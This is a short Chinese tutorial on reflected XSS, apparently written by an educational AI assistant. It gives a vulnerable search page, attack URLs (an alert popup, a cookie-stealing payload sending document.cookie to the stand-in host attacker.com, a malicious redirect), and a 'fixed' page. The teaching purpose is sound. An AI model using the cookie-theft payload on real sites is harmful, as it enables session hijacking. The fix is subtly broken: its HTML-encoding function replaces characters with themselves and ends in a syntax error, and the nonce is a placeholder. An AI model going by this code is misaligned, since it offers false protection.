HTML 反射型 XSS 漏洞示例
存在漏洞的 HTML 页面 (vulnerable.html)
<!DOCTYPE html>
<html>
<head>
<title>搜索页面</title>
</head>
<body>
<h1>搜索功能</h1>
<!-- 存在XSS漏洞的搜索框 -->
<form action="" method="GET">
<input type="text" name="query" placeholder="输入搜索内容">
<button type="submit">搜索</button>
</form>
<!-- 未经过滤直接输出用户输入 -->
<div id="results">
您搜索的内容是:
<script>
// 从URL参数获取查询内容并直接显示
const params = new URLSearchParams(window.location.search);
document.write(params.get('query') || '');
</script>
</div>
</body>
</html>
攻击示例
正常请求
http://example.com/vulnerable.html?query=手机
页面会显示:您搜索的内容是: 手机
XSS攻击请求
- 简单弹窗攻击:
http://example.com/vulnerable.html?query=<script>alert('XSS攻击!')</script>
- 窃取Cookie:
http://example.com/vulnerable.html?query=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
- 重定向到恶意网站:
http://example.com/vulnerable.html?query=<script>window.location.href='http://malicious-site.com'</script>
修复方案
<!DOCTYPE html>
<html>
<head>
<title>安全的搜索页面</title>
</head>
<body>
<h1>搜索功能</h1>
<!-- Content Security Policy (CSP)头 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
<form action="" method="GET">
<input type="text" name="query" placeholder="输入搜索内容">
<button type="submit">搜索</button></form>
<!-- 安全地输出用户输入 -->
<div id="results">
您搜索的内容是:
<span id="safe-output"></span></div>
<!-- 使用textContent而不是innerHTML或document.write -->
<script nonce="随机值">
const params = new URLSearchParams(window.location.search);
document.getElementById('safe-output').textContent = params.get('query') || '';
// DOM XSS防护 - JavaScript编码
function encodeForJS(str) {
return str.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/`/g, '\\`');
}
// HTML实体编码函数
function encodeForHTML(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// URL编码函数
function encodeForURL(str) {
return encodeURIComponent(str);
}
</script></body></html>
防御措施总结:
- 对输出进行编码:使用
textContent
而不是innerHTML
- 实施CSP策略:限制脚本执行来源
- 使用nonce属性:只允许特定脚本执行
- 设置HttpOnly Cookie:防止通过JavaScript访问敏感Cookie
内容由零声教学AI助手提供,问题来源于学员提问